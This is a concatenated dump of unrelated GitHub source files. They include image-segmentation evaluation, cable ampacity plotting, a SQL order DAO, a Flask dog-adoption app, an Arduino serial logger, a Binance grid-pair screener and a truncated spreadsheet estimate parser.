loader.decode_segmap(pred)\n img_input = np.squeeze(images.cpu().numpy(), axis=0)\n img_input = img_input.transpose(1, 2, 0)\n blend = img_input * 0.2 + decoded * 0.8\n fname_new = fname[0]\n fname_new = fname_new[:-4]\n fname_new += '.jpg'\n dir = \"./out_rgb/\"\n if not os.path.exists(dir):\n os.mkdir(dir)\n misc.imsave(dir + fname_new, blend)\n\n pred = outputs.data.max(1)[1].cpu().numpy()\n\n gt = labels.numpy()\n #s = np.sum(gt == pred) / (1024 * 2048)\n s = np.sum(gt == pred) / (img_size[0]*img_size[1])\n\n if args.measure_time:\n total_time += elapsed_time\n print(\n \"Inference time \\\n (iter {0:5d}): {1:4f}, {2:3.5f} fps\".format(\n i + 1, s, 1 / elapsed_time\n )\n )\n\n running_metrics.update(gt, pred)\n\n score, class_iou = running_metrics.get_scores()\n print(\"Total Frame Rate = %.2f fps\" % (500 / total_time))\n\n if args.update_bn:\n model = torch.nn.DataParallel(model, device_ids=range(torch.cuda.device_count()))\n state2 = {\"model_state\": model.state_dict()}\n torch.save(state2, 'hardnet_cityscapes_mod.pth')\n\n for k, v in score.items():\n print(k, v)\n\n for i in range(n_classes):\n print(i, class_iou[i])\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Hyperparams\")\n parser.add_argument(\n \"--config\",\n nargs=\"?\",\n type=str,\n default=\"configs/test/hardnet_nl_changwon_exp7.yml\",\n #default=\"configs/test/hardnet.yml\",\n help=\"Config file to be used\",\n )\n parser.add_argument(\n \"--model_path\",\n nargs=\"?\",\n type=str,\n # default=\"hardnet_cityscapes_best_model.pkl\",\n #default=\"/workspace/raid/yswang/driving_segmentation/FCHarDNet/runs/hardnet_changwon/cur/hardnet_add_best_model_360.pkl\",\n #default=\"/workspace/raid/yswang/driving_segmentation/FCHarDNet/runs/hardnet_nl_changwon_test/cur/hardnet_nl_add_checkpoint_hardnet_nl_changwon_1.pkl\",\n default=\"/workspace/raid/yswang/driving_segmentation/FCHarDNet/runs/hardnet_nl_changwon_test/cur/hardnet_nl_add_best_model_hardnet_nl_allset_1.pkl\",\n #default=\"./hardnet70_cityscapes_model.pkl\",\n help=\"Path to the saved model\",\n )\n parser.add_argument(\n \"--eval_flip\",\n dest=\"eval_flip\",\n action=\"store_true\",\n help=\"Enable evaluation with flipped image |\\\n False by default\",\n )\n parser.add_argument(\n \"--no-eval_flip\",\n dest=\"eval_flip\",\n action=\"store_false\",\n help=\"Disable evaluation with flipped image\",\n )\n parser.set_defaults(eval_flip=False)\n\n parser.add_argument(\n \"--measure_time\",\n dest=\"measure_time\",\n action=\"store_true\",\n help=\"Enable evaluation with time (fps) measurement |\\\n True by default\",\n )\n parser.add_argument(\n \"--no-measure_time\",\n dest=\"measure_time\",\n action=\"store_false\",\n help=\"Disable evaluation with time (fps) measurement\",\n )\n parser.set_defaults(measure_time=True)\n\n parser.add_argument(\n \"--save_image\",\n dest=\"save_image\",\n action=\"store_true\",\n help=\"Enable saving inference result image into out_img/ |\\\n False by default\",\n )\n parser.set_defaults(save_image=False)\n\n parser.add_argument(\n \"--update_bn\",\n dest=\"update_bn\",\n action=\"store_true\",\n help=\"Reset and update BatchNorm running mean/var with entire dataset |\\\n False by default\",\n )\n parser.set_defaults(update_bn=False)\n\n parser.add_argument(\n \"--no-bn_fusion\",\n dest=\"bn_fusion\",\n action=\"store_false\",\n help=\"Disable performing batch norm fusion with convolutional layers |\\\n bn_fusion is enabled by default\",\n )\n parser.set_defaults(bn_fusion=True)\n\n args = parser.parse_args()\n\n with open(args.config) as fp:\n cfg = yaml.load(fp)\n\n # validate(cfg, args)\n validate_single(cfg, args)\n","repo_name":"anonymousTSPANet/TSPANet","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":16823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4319094692","text":"import numpy as np\nimport pandas as pd\nimport os\nimport sys\n\nsys.path.append('/home/akagi/github/RIPS_kircheis/RIPS')\nimport rect_grid\nimport cable\n\nacsr = [ u'Bittern', u'Bluebird', u'Bluejay', u'Bobolink', u'Bunting',\n u'Canary', u'Cardinal', u'Chickadee', u'Chukar', u'Cochin',\n u'Condor', u'Coot', u'Curlew', u'Dipper', u'Dorking',\n u'Dotterel', u'Dove', u'Drake', u'Eagle', u'Egret',\n u'Falcon', u'Finch', u'Flamingo', u'Flicker', u'Grackle',\n u'Grosbeak', u'Grouse', u'Guinea', u'Hawk', u'Hen',\n u'Ibis', u'Kingbird', u'Kiwi', u'Lapwing', u'Lark',\n u'Leghorn', u'Linnet', u'Mallard', u'Martin', u'Merlin',\n u'Minorca', u'Oriole', u'Ortolan', u'Osprey', u'Parakeet',\n u'Partridge', u'Peacock', u'Pelican', u'Penguin', u'Petrel',\n u'Pheasant', u'Pigeon', u'Quail', u'Rail', u'Raven',\n u'Redwing', u'Robin', u'Rook', u'Ruddy', u'Sparate',\n u'Sparrow', u'Starling', u'Swan', u'Swanate', u'Swift',\n u'Tern', u'Turkey', u'Waxwing']\n\nacss = [ u'Avocet', u'Bittern', u'Bluebird',\n u'Bluejay', u'Bobolink', u'Brant', u'Bullfinch',\n u'Bunting', u'Canary', u'Canvasback', u'Cardinal',\n u'Chukar', u'Condor', u'Cormorant', u'Corncrake',\n u'Cuckoo', u'Curlew', u'Dipper', u'Diver',\n u'Dove', u'Drake', u'Eagle', u'Egret',\n u'Falcon', u'Finch', u'Flamingo', u'Flicker',\n u'Gannet', u'Goldfinch', u'Grackle', u'Grosbeak',\n u'Hawk', u'Hen', u'Heron', u'Hornbill',\n u'Ibis', u'Joree', u'Junco', u'Kiwi',\n u'Lapwing', u'Lark', u'Linnet', u'Macaw',\n u'Mallard', u'Martin', u'Mockingbird', u'Nuthatch',\n u'Oriole', u'Ortolan', u'Ostrich', u'Oxbird',\n u'Parakeet', u'Parrot', u'Partridge', u'Peacock',\n u'Pheasant', u'Phoenix', u'Plover', u'Popinjay',\n u'Ptarmigan', u'Puffin', u'Rail', u'Ratite',\n u'Redbird', u'Redwing', u'Ringdove', u'Roadrunner',\n u'Rook', u'Ruddy', u'Sapsucker', u'Scaup',\n u'Scissortail', u'Scoter', u'Seahawk', u'Snowbird',\n u'Spoonbill', u'Squab', u'Starling', u'Stilt',\n u'Stork', u'Tailorbird', u'Teal', u'Tern',\n u'Thrasher', u'Tody', u'Toucan', u'Towhee',\n u'Trogon', u'Turacos', u'Turbit', u'Wagtail',\n u'Whooper', u'Widgeon', u'Woodcock']\n\naac = [ u'Arbutus', u'Aster', u'Bluebell', u'Bluebonnet',\n u'Canna', u'Carnation', u'Cockscomb', u'Columbine',\n u'Coreopsis', u'Cosmos', u'Cowslip', u'Daffodil',\n u'Dahlia', u'Daisy', u'Goldenrod', u'Goldentuft',\n u'Hawkweed', u'Hawthorn', u'Heuchera', u'Iris',\n u'Jessamine', u'Larkspur', u'Laurel', u'Lilac',\n u'Lupine', u'Magnolia', u'Marigold', u'Meadowsweet',\n u'Mistletoe', u'Narcissus', u'Nasturtium', u'Orchid',\n u'Oxlip', u'Pansy', u'Peachbell', u'Peony',\n u'Petunia', u'Phlox', u'Poppy', u'Rose',\n u'Sneezewort', u'Syringa', u'Trillium', u'Tulip',\n u'Valerian', u'Verbena', u'Violet', u'Zinnia']\n\n# Had to remove wood duck because of title() function\n\n# ACSR\n# 230\n#skylark = cable.cable('Skylark', 'acsr')\n\nacsr_df = pd.DataFrame()\n\nfor k in acsr:\n cable_i = cable.cable(k, 'acsr')\n acsr_df[k] = np.asarray([cable_i.I(348, i, 0.61) for i in np.arange(273+0, 273+61)])/(cable_i.I(348, 298, 0.61))\n\nacss_df = pd.DataFrame()\n\nfor k in acss:\n cable_i = cable.cable(k, 'acss')\n acss_df[k] = np.asarray([cable_i.I(348, i, 0.61) for i in np.arange(273+0, 273+61)])/(cable_i.I(348, 298, 0.61))\n\naac_df = pd.DataFrame()\n\nfor k in aac:\n cable_i = cable.cable(k, 'aac')\n aac_df[k] = np.asarray([cable_i.I(348, i, 0.61) for i in np.arange(273+0, 273+61)])/(cable_i.I(348, 298, 0.61))\n\nfill_between(acsr_df.index.values, acsr_df.min(axis=1), acsr_df.max(axis=1), color='blue', label='ACSR', alpha=1)\nxlabel('Ambient temperature ($^\\circ$C)')\nylabel('Fraction of rated capacity')\ntitle('ACSR cable')\nclf()\n\n\nfill_between(acss_df.index.values, acss_df.min(axis=1), acss_df.max(axis=1), color='orange', label='ACSS', alpha=1)\nxlabel('Ambient temperature ($^\\circ$C)')\nylabel('Fraction of rated capacity')\ntitle('ACSS cable')\nclf()\n\nfill_between(aac_df.index.values, aac_df.min(axis=1), aac_df.max(axis=1), color='red', label='AAC', alpha=1)\nxlabel('Ambient temperature ($^\\circ$C)')\nylabel('Fraction of rated capacity')\ntitle('AAC cable')\nylim(0.4, 1.3)\nclf()\n#####################\n\nacsr_cat = pd.concat([acsr_df.loc[50], cable_i.models['acsr'].T], axis=1)\nacss_cat = pd.concat([acss_df.loc[50], cable_i.models['acss'].T], axis=1)\naac_cat = pd.concat([aac_df.loc[50], cable_i.models['aac'].T], axis=1)\n\n# As cable diameter increases, effect of temperature on ampacity increases\nscatter(acsr_cat['cable_d'], acsr_cat[50], color='blue', alpha=0.7, label='ACSR')\nscatter(acss_cat['cable_d'], acss_cat[50], color='orange', alpha=0.7, label='ACSS')\nscatter(aac_cat['cable_d'], aac_cat[50], color='red', alpha=0.7, label='AAC')\nxlabel('Cable diameter (m)')\nylabel('Fraction of rated ampacity at 50 $^\\circ$C') # at 50 C\ntitle('Reduction in rated ampacity vs. cable diameter')\n\n# Contour plot\n\n# trange = np.asarray([bluebird.I(348, i, np.arange(0,4,0.01)) for i in np.arange(273+0, 273+60, 0.1)])/bluebird.I(348, 273+25, 0.61)\n# trange = pd.DataFrame(trange).fillna(0).values\n\n# cf = contourf(trange.T, cmap='jet_r')\n# cb = colorbar()\n# cf.ax.set_xticklabels([0, 10, 20, 30, 40, 50])\n# cf.ax.set_yticklabels(np.linspace(0, 4, 8, endpoint=False))\n# title('Weather effects on ampacity')\n# ylabel('Wind speed (m/s)')\n# xlabel('Ambient temperature (C)')\n# cb.set_label('Fraction of Rated Ampacity')\n\ndef contour_plot(name, model, trange, vrange, maxtemp, a_s=0.9, e_s=0.7, levels=[0.0, 0.25, 0.5, 0.75, 1.0, 1.25, 1.5, 1.75, 2.0, 2.25]):\n\n cable_i = cable.cable(name, model)\n a = np.asarray([cable_i.I(maxtemp, i, np.arange(*vrange), a_s=a_s, e_s=e_s) for i in np.arange(*trange)])/cable_i.I(maxtemp, 273+25, 0.61, a_s=a_s, e_s=e_s)\n a = pd.DataFrame(a).fillna(0).values\n \n cf = contourf(a.T, cmap='jet_r', levels=levels)\n cb = colorbar()\n cf.ax.set_xticklabels([0, 10, 20, 30, 40, 50])\n cf.ax.set_yticklabels(np.linspace(0, 4, 8, endpoint=False))\n title('Conductor Temperature: %s $^\\circ$C' % (maxtemp - 273))\n ylabel('Wind speed (m/s)')\n xlabel('Ambient temperature ($^\\circ$C)')\n cb.set_label('Fraction of Rated Ampacity')\n\ncontour_plot('Bluebird', 'acsr', (273+0, 273+60, 0.1), (0,4,0.01), 273+75)\n\n\n#### contour of ampacity vs. temperature and diameter\n\n\ntrange = (273+0, 273+60, 0.1)\ndrange = (0.005, 0.05, 0.001)\nmaxtemp = 273+75\n\ndef contour_diam(trange, drange, maxtemp, a_s=0.9, e_s=0.7, levels=[0.0, 0.25, 0.5, 0.75, 1.0, 1.25, 1.5, 1.75, 2.0, 2.25]):\n\n cable_i = cable.cable('Bluebird', 'acsr')\n trange = np.arange(*trange)\n drange = np.arange(*drange)\n \n df = pd.DataFrame()\n\n for d in drange:\n cable_i.D = d\n a = np.asarray([cable_i.I(maxtemp, i, 0.61, a_s=a_s, e_s=e_s) for i in trange])/cable_i.I(maxtemp, 273+25, 0.61, a_s=a_s, e_s=e_s)\n df[d] = a\n# a = pd.DataFrame(a).fillna(0).values\n a = df.sort_index(axis=1).values\n \n cf = contourf(a, cmap='jet_r', levels=levels)\n cb = colorbar()\n cf.ax.set_yticklabels([0, 10, 20, 30, 40, 50])\n cf.ax.set_xticklabels(100*np.linspace(0, 0.05, 10, endpoint=False))\n title('Conductor Temperature: %s $^\\circ$C' % (maxtemp - 273))\n xlabel('Conductor diameter (cm)')\n ylabel('Ambient temperature ($^\\circ$C)')\n cb.set_label('Fraction of Rated Ampacity')\n\ncontour_diam((273+0, 273+60, 0.1), (0.005, 0.05, 0.001), 273+75)\n","repo_name":"mdbartos/RIPS","sub_path":"temporary/cable_range_test.py","file_name":"cable_range_test.py","file_ext":"py","file_size_in_byte":8433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"18008440193","text":"from src.utilites.dbUtilities import DBUtilities\n\nclass OrderDao():\n '''\n All the frequent DB queries on order\n '''\n\n def __init__(self) -> None:\n self.db_helper = DBUtilities()\n\n def get_order_line_items_with_order_id(self, id):\n sql = f'SELECT * FROM marketplace.wp_woocommerce_order_items WHERE order_id={id} AND order_item_type=\"line_item\";'\n order_details = self.db_helper.execute_select(sql=sql)\n return order_details\n\n def get_order_item_details(self, order_item_ids): #order_item_id as an array\n product_ids = []\n for order_item_id in order_item_ids:\n sql = f'SELECT * FROM marketplace.wp_woocommerce_order_itemmeta WHERE order_item_id = {order_item_id}'\n meta_details = self.db_helper.execute_select(sql=sql)\n '''\n The result is expected to have multiple rows each with order item and its value\n Get the result to a dic to access the values\n '''\n product_ids += [meta_item['meta_value'] for meta_item in meta_details if meta_item['meta_key']=='_product_id']\n \n return product_ids\n\n ","repo_name":"jomina-jolly/rest-api-tests","sub_path":"src/dao/order_dao.py","file_name":"order_dao.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7273365731","text":"import json,pandas,numpy as np,random\nfrom skimage import io\nimport matplotlib.pyplot as plt\n\n#print(np.ones(30))\nprint(np.linspace(2,10,4))\na = [i for i in range(0,10,2)]\nb = [i for i in range(1,10,2)]\na = np.array(a)\nb = np.array(b)\n#content = {\n #'name': ['jason','nikhil','geoffrey'],\n #'phone': [15415,31,63156351]\n #}\n\n#data = json.dumps(content)\n#load = json.loads(data)\n\n#print(type(load))\n#print(load['name'])\n\nnp.random.seed(0)\nz1 = np.random.randint(10, size=5)\nprint(z1)\n\nphoto = io.imread('something.png')\nprint(photo.shape)\n\nplt.imshow(photo[:,::-1])\n\nprint(a@b)# Dot Product\nplt.imshow(photo[:,:,0].T)#transpose\n\n\n","repo_name":"ironnicko/learning","sub_path":"more_on_numpy.py","file_name":"more_on_numpy.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"11730267962","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport random\nimport datetime\n\n\ndef test1():\n df = pd.DataFrame(((random.randint(2012, 2016), random.choice(['tech', 'art', 'office']),\n '%dk-%dk' % (random.randint(2, 10), random.randint(10, 20)), 'tt') for _ in range(10000)),\n columns=['publish_time', 'classf', 'salary', 'title'])\n df.head()\n dd = df.groupby(['publish_time', 'classf', 'salary']).count()['title'].groupby(level=['publish_time', 'classf'], group_keys=False).nlargest(10)\n print(dd)\n\n\ndef test2():\n m_cache_expire_time = 15\n now = datetime.datetime.now()\n interval = (now.minute * 60 + now.second) % m_cache_expire_time\n print(interval, m_cache_expire_time - interval)\n\n\ndef test3():\n buf = \"2425__10404|2425__10312\"\n buf = ''\n black_pubs = []\n\n for v in buf.split('|'):\n vv = v.split('__')\n if len(vv) >=2:\n black_pubs.append(vv[1])\n black_pubs = ','.join(black_pubs)\n print(black_pubs)\n\ndef main():\n test3()\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"uileyar/hello_tf","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21843075620","text":"from flask import Flask, render_template, redirect, request, url_for\nfrom pymongo import MongoClient\nfrom bson.objectid import ObjectId\nimport os\n\nhost = os.environ.get('MONGODB_URI', 'mongodb://localhost:27017/Contractor')\n\nclient = MongoClient(host=f'{host}?retryWrites=false')\ndb = client.get_default_database()\ndogs = db.dogs\n\napp = Flask (__name__)\n\n@app.route('/')\ndef dogs_index():\n \"\"\"Show all dogs\"\"\"\n\n # dogs = [\n # {'title': 'Small dogs', 'description': '1-25 lbs.'},\n # {'title': 'Medium dogs', 'description': '26-40 lbs.'},\n # {'title': 'Large dogs', 'description': '41-70 lbs.'},\n # {'title': 'Very large dogs', 'description': '71-above lbs.'}\n # ]\n # for dog in dogs.find():\n # print(dog['name'])\n return render_template('index.html', dog=dogs.find())\n\n@app.route('/test')\ndef test():\n return render_template('index.html')\n\n@app.route('/dogs/new',methods=['GET', 'POST'])\ndef dogs_new():\n \"\"\"Create a new adoptable dog profile\"\"\"\n if request.method == 'POST':\n dog = {\n 'name': request.form.get('name'),\n 'description':request.form.get('description'),\n 'image': request.form.get('image')\n }\n dog_id = dogs.insert_one(dog).inserted_id\n\n return redirect(url_for('dogs_show', dog_id=dog_id))\n if request.method == 'GET':\n return render_template ('dogs_new.html')\n\n@app.route('/dogs', methods=['POST'])\ndef dogs_submit():\n \"\"\"Submit a new adoptable dog listing\"\"\"\n dog = {\n 'name': request.form.get('name'),\n 'description':request.form.get('description'),\n 'image': request.form.get('image')\n }\n dog_id = dogs.insert_one(dog).inserted_id\n return redirect(url_for('dogs_show', dog_id=dog_id))\n\n@app.route('/dogs/')\ndef dogs_show(dog_id):\n \"\"\"Show a single dog\"\"\"\n dog = dogs.find_one({'_id': ObjectId(dog_id)})\n return render_template('dogs_edit.html', dog=dog)\n\n@app.route('/dogs//delete', methods=['POST'])\ndef dogs_delete(dog_id):\n \"\"\"Show the edit form for a dog\"\"\"\n dog = dogs.delete_one({'_id': ObjectId(dog_id)})\n return render_template('index.html', dog=dogs.find())\n\n@app.route('/dogs//edit', methods=['POST'])\ndef dogs_edit(dog_id):\n \"\"\"Show the edit form for a dog\"\"\"\n \n\n updated_dog = {\n 'name': request.form['name'],\n 'description':request.form['description'],\n 'image': request.form['image']\n }\n dogs.update_one({'_id': ObjectId(dog_id)}, {'$set': updated_dog})\n return redirect(url_for('dogs_index', dog=dogs.find()))\n\n@app.route('/dogs/', methods=['POST'])\ndef dogs_update(dog_id):\n \"\"\"Submit an edited listing\"\"\"\n updated_dog = {\n 'name': request.form.get('name'),\n 'description': request.form.get('description'),\n 'image': request.form.get('image')\n }\n dogs.update_one(\n {'_id': ObjectId(dog_id)},\n {'$set': updated_dog}\n )\n return redirect(url_for('dogs_show', dog_id=dog_id))\n\n# @app.route('/dogs//delete', methods=['POST'])\n# def dogs_delete(dog_id):\n# \"\"\"Delete one listing\"\"\"\n# dogs.delete_one({'_id': ObjectId(dog_id)})\n# return redirect(url_for('dogs_index'))\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0', port=os.environ.get('PORT', 5000))","repo_name":"aevans1910/Contractor-Project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22797441809","text":"import sys\n\nArg = sys.argv[:]\nseq = []\nvu = dict()\ncompt = 0\nstep = 0\nwith open(Arg[1], 'r') as f:\n for line in f:\n step = (step+1)%4\n if step == 0:\n if vu.get(line,-1) != -1:\n vu[line]+=1\n else:\n vu[line] = 1\n compt+=1\nprint(\"Il y a \"+str(len(vu))+\" under paths uniques sur les \"+str(compt)+\" bulles.\")\nwith open(Arg[2], 'w') as o:\n for key,value in vu.items():\n o.write(key[:-1]+\"\\t\"+str(value)+'\\n')\n","repo_name":"sdarmon/stage-M2","sub_path":"scr/under_path.py","file_name":"under_path.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73112520465","text":"import time\r\nimport serial\r\nimport matplotlib.pyplot as plt\r\nimport csv \r\nfrom ini_read import getINI # Gives acces to getINI Function\r\nfrom serial.tools import list_ports\r\nimport pandas as pd\r\n\r\n# PATH DEFINITION\r\npath_calib=r'Paste your path\\calibration_data_.csv' #Call for the csv with sensor calibration data per pixel\r\n\r\n# CONSTANT\r\nheaders = ['P1','P2','P3','P4','P5','P6','P7','P8','P9','P10','P11','P12','P13','P14','P15','P16','P17','P18','P19','P20','P21','P22','P23','P24','P25','P26','P27',\r\n'P28','P29','P30','P31','P32','P33','P34','P35','P36','P37','P38','P39','P40','P41','P42','P43','P44','P45','P46','P47','P48','P49','P50','P51','P52','P53','P54','P55',\r\n'P56','P57','P58','P59','P60','P61','P62','P63','P64','P65','P66','P67','P68','P69','P70','P71','P72','P73','P74','P75','P76','P77','P78','P79','P80','P81','P82','P83',\r\n'P84','P85','P86','P87','P88','P89','P90','P91','P92','P93','P94','P95','P96','P97','P98','P99','P100','P101','P102','P103','P104','P105','P106','P107','P108','P109',\r\n'P110','P111','P112','P113','P114','P115','P116','P117','P118','P119','P120','P121','P122','P123','P124','P125','P126','P127','P128','P129','P130','P131','P132','P133',\r\n'P134','P135','P136','P137','P138','P139','P140','P141','P142','P143','P144','P145','P146','P147','P148','P149','P150','P151','P152','P153','P154','P155','P156','P157',\r\n'P158','P159','P160','P161','P162','P163','P164','P165','P166','P167','P168','P169','P170','P171','P172','P173','P174','P175','P176','P177','P178','P179','P180','P181',\r\n'P182','P183','P184','P185','P186','P187','P188','P189','P190','P191','P192','P193','P194','P195','P196','P197','P198','P199','P200','P201','P202','P203','P204','P205',\r\n'P206','P207','P208','P209','P210','P211','P212','P213','P214','P215','P216','P217','P218','P219','P220','P221','P222','P223','P224','P225','P226','P227','P228','P229',\r\n'P230','P231','P232','P233','P234','P235','P236','P237','P238','P239','P240','P241','P242','P243','P244','P245','P246','P247','P248','P249','P250','P251','P252','P253',\r\n'P254','P255','P256']\r\n\r\n# FUNCTIONS\r\ndef get_x_values():\r\n df = pd.read_csv (path_calib) \r\n r_data = df.s1_xxxxxxx # <- Read Column header: Serial number of each sensor! MODIFY ACCORDINGLY\r\n r_data = r_data.values.tolist() # Convert pandas DataFrame to List of list\r\n xs = r_data\r\n return(xs)\r\n\r\n# CSV creation truncate method\r\nf = open (\"RAW_REF_DATA.csv\",\"w\",newline='')\r\nf.truncate()\r\n#Writing headers to CSV file\r\nwriter = csv.writer(f, delimiter=',')\r\nwriter.writerow(headers)\r\n\r\n# Asking user to start/Importing variables\r\nuserInput = input('TURN ON THE LIGHT, LOAD REFERENCE and click \"y\" to start measurements: ')\r\nif userInput == 'y' or 'Y':\r\n iniData = getINI() # <- GET NUMROWS FROM EXTERNAL FILE\r\n numRowsCollect = int (iniData['numRowsCollect']) #Gets data from external textfile (NOTE: this is a dictionary string defined by the key '') \r\n numPixels = int (iniData['numPixels']) #Gets data from external textfile (NOTE: this is a dictionary string defined by the key '')\r\n lastObs = int (iniData['lastObservations'])\r\n \r\n # Clearing serial COM and reset ARDUINO\r\n serialCom = serial.Serial('COMX',9600) # Use your preferred COM port\r\n time.sleep(4)\r\n serialCom.write(b'y') #Sending \"y\" to ARDUINO\r\n serialCom.flushInput()\r\n serialCom.setDTR(True)\r\n\r\n # READ DATA FROM ARDUINO and PRINT TO SHELL\r\n for i in range(0,numRowsCollect):\r\n arduinoData = serialCom.readline().decode()\r\n arduinoData = arduinoData.replace('\\r', '') ## Removes \\r\r\n arduinoData = arduinoData.replace('\\n', '') ## Removes \\n\r\n \r\n # Split data and convert to LIST-INTEGERS\r\n values = [int(x) for x in arduinoData.split()]\r\n print(values)\r\n\r\n #Writing to CSV\r\n #writer = csv.writer(f,delimiter=\",\")\r\n writer.writerow(values)\r\n \r\nf.close()\r\n\r\n# START AVERAGE CALCULATIONS:\r\ndf = pd.read_csv (\"RAW_REF_DATA.csv\")\r\ndf.head()\r\n#Capturing the LAST OBSERVATIONS and then calculate AVERAGE:\r\nlastObsData = (df.iloc[0:(numPixels-1)][-lastObs:])\r\ndf2 = pd.DataFrame(lastObsData)\r\npandas_averages = df2.mean()\r\n# Convert pandas DataFrame to List\r\navg_List = pandas_averages.values.tolist()\r\nprint (\"The following are the averages of the last\", lastObs, \"observations\")\r\nprint (avg_List)\r\n\r\n#Writing to file\r\nf2 = open (\"REFERENCE_DATA_AVG.csv\",\"w\",newline='')\r\nf2.truncate()\r\nwriter = csv.writer(f2, delimiter=',')\r\nwriter.writerow(headers)\r\nwriter.writerow(avg_List)\r\nf2.close()\r\n\r\n# PLOT averaged Reference signal\r\nx_values = get_x_values()\r\nplt.plot(x_values,avg_List,linewidth=1.5) #marker='*'\r\nplt.title('Reference Data - Averaged I Counts per Wavelenght')\r\nplt.xlabel('Wavelenght')\r\nplt.ylabel('Rel. Intensity (Counts)')\r\nplt.show()\r\n","repo_name":"nedsar85/Article1","sub_path":"S2 - Python code/2. Uncoated Reference Measurement code.py","file_name":"2. Uncoated Reference Measurement code.py","file_ext":"py","file_size_in_byte":4792,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15173121016","text":"from config import api_key, api_secret, client\nfrom binance.client import Client\nimport talib\nimport pandas as pd\n\n\ndef grids():\n symbols = []\n grid_pairs = []\n tickers = client.get_all_tickers()\n for x in tickers:\n coin = x[\"symbol\"]\n if (\"UP\" in coin) or (\"DOWN\" in coin) or (\"BULL\" in coin) or (\"BEAR\" in coin):\n continue\n if coin.endswith(\"USDT\"):\n symbols.append(coin)\n\n \"\"\"Get the recommendation of Tradingview analysis based on Moving averages and oscillators \"\"\"\n for symbol in symbols:\n pair = symbol\n candles = client.get_klines(symbol=pair, interval=Client.KLINE_INTERVAL_1WEEK)\n oneweek_df = pd.DataFrame(candles)\n oneweek_df.columns = ['Open time', 'Open', 'High', 'Low', 'Close', 'Volume', 'Close time', 'Quote asset volume',\n 'Number of trades', 'Taker buy base asset volume', 'Taker buy quote asset volume',\n 'Can be ignored']\n oneweek_df.Close = oneweek_df.Close.astype(float)\n oneweek_df.High = oneweek_df.High.astype(float)\n oneweek_df.Low = oneweek_df.Low.astype(float)\n\n # Get Last/Current price\n current_price = oneweek_df['Close'].iloc[-1]\n\n # Calculate ATR\n atr_df = talib.ATR(oneweek_df.High, oneweek_df.Low, oneweek_df.Close, timeperiod=14)\n atr = atr_df.iloc[-1]\n cal_atr = round(((atr / current_price) * 100), 2)\n if 70=27:\n new = grid_pairs[0:25]\n grid_coins = '\\n'.join(map(str, new))\n return f\"Top Pairs for Grid Bots \\n {grid_coins}\" \\\n f\"[Join Our Telegram Channel](https://t.me/Zcryptochannel)\\n\" \\\n f\"[Join Our Discord Server](https://discord.gg/RWtT7Nx9jh)\\n\"\n","repo_name":"DiegoLial/Crypto-Telegram-BOT","sub_path":"grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"48"} +{"seq_id":"10310437603","text":"from openpyxl import load_workbook\n\nfrom entities import Chapter, Material, MiM, Subchapter, Work\n\n\nclass EstimateBaseTemplate:\n CHAPTERS = []\n FOOTER = None\n\n def __init__(self, file_path: str) -> None:\n self.__wb = load_workbook(file_path, data_only=True)\n self.__ws = self.__wb.active\n self.estimate_file_name = file_path.split(\"\\\\\")[-1]\n self._get_estimate_keystone_data()\n self.rows = []\n\n self.chapter_start = None\n self.footer_start = None\n\n def _get_estimate_keystone_data(self):\n def _get_group_code(value: str) -> str:\n temp_result = value[value.rfind(\"(\") + 1 :]\n return temp_result[: temp_result.rfind(\")\")]\n\n self.estimate_total_number = (\n str(self.__ws.cell(9, 6).value).split(\"№\")[1].strip()\n )\n if \" изм.\" in self.estimate_total_number:\n (\n self.estimate_number,\n self.estimate_version,\n ) = self.estimate_total_number.split(\" изм.\")\n else:\n self.estimate_number, self.estimate_version = self.estimate_total_number, 0\n if self.__ws.cell(12, 4).value:\n self.estimate_work_name = (\n str(self.__ws.cell(12, 4).value).replace(\"\\n\", \"\").strip()\n )\n else:\n self.estimate_work_name = (\n str(self.__ws.cell(12, 3).value).replace(\"\\n\", \"\").strip()\n )\n\n self.estimate_reason = (\n str(self.__ws.cell(15, 3).value).split(\"Основание: \")[1].strip()\n )\n self.estimate_group_code = self.estimate_reason\n self.estimate_cipher = self.estimate_reason\n\n for row in range(1, self.__ws.max_row + 1):\n target_value = self.__ws.cell(row, 1).value\n time_perion_search_value = self.__ws.cell(row, 3).value\n if isinstance(target_value, str) and \"№ пп\" in target_value:\n self.content_start_from = row + 4\n # elif isinstance(target_value, str) and \"ФОТ\" in target_value:\n self.estimate_wage_fund = self.__ws.cell(row, 8).value\n elif isinstance(target_value, str) and \"ВСЕГО по смете\" in target_value:\n self.estimate_cost = self.__ws.cell(row, 8).value\n self.estimate_wage_fund = self.__ws.cell(row - 3, 8).value\n self.estimate_laboriousness = self.__ws.cell(row, 13).value\n elif (\n isinstance(time_perion_search_value, str)\n and \"Составлен(а) в текущих (прогнозных) ценах по состоянию на\"\n in time_perion_search_value\n ):\n self.estimate_time_period = str(self.__ws.cell(row, 3).value).split(\n \"ценах по состоянию на\"\n )[1]\n\n # Поиск разделов\n elif (\n isinstance(target_value, str)\n and \"Итого прямые затраты по разделу в текущих ценах\" in target_value\n ):\n self.chapter_start = 